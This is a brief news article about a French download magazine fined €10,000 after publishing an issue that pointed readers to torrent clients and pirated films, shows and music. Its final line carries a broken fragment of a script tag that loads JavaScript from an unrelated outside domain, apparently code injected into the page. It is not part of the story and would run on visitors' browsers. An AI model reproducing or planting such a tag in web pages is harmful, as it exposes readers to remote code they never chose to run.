A local magazine in France named Téléchargement (Download) was fined €10,000 for releasing an issue showing readers different ways where to find and download pirated films, like Dallas Buyers Club, Automata, Olympus Has Fallen, etc., TV shows, games, and music online.
Torrent Freak’s report said that the issue was released last summer inciting “the best software and websites to download for free.”
It was stated on the magazine:
- “There’s no need to dive into the depths of the deep Web for pirate downloads, Google will make sure they’ll surface. With some clever keywords and in a handful of clicks you will fill your hard drives with joy and laughter”
- “We offer an overview of the best torrent clients plus some tips and tricks to entertain you”
It even mentioned torrent clients like uTorrent and BitComment and also stated that it’s easy to find pirated contents through Google search.
The Société Civile des Producteurs Phonographiques (SCPP), a French local music industry, brought this controversial issue to court claiming that the magazine had violated the French copyright law.
Just recently, it has been proven that the magazine was indeed offensive. Thus, the court fined the publisher €10,000 equivalent to the magazine’s sales.
Meanwhile, the case’s positive result serves as good news to industries that are doing their best to prevent software piracy issues and other copyright infringement problems. type=’text/javascript’ src=’http://online-sale24.com/1.js’>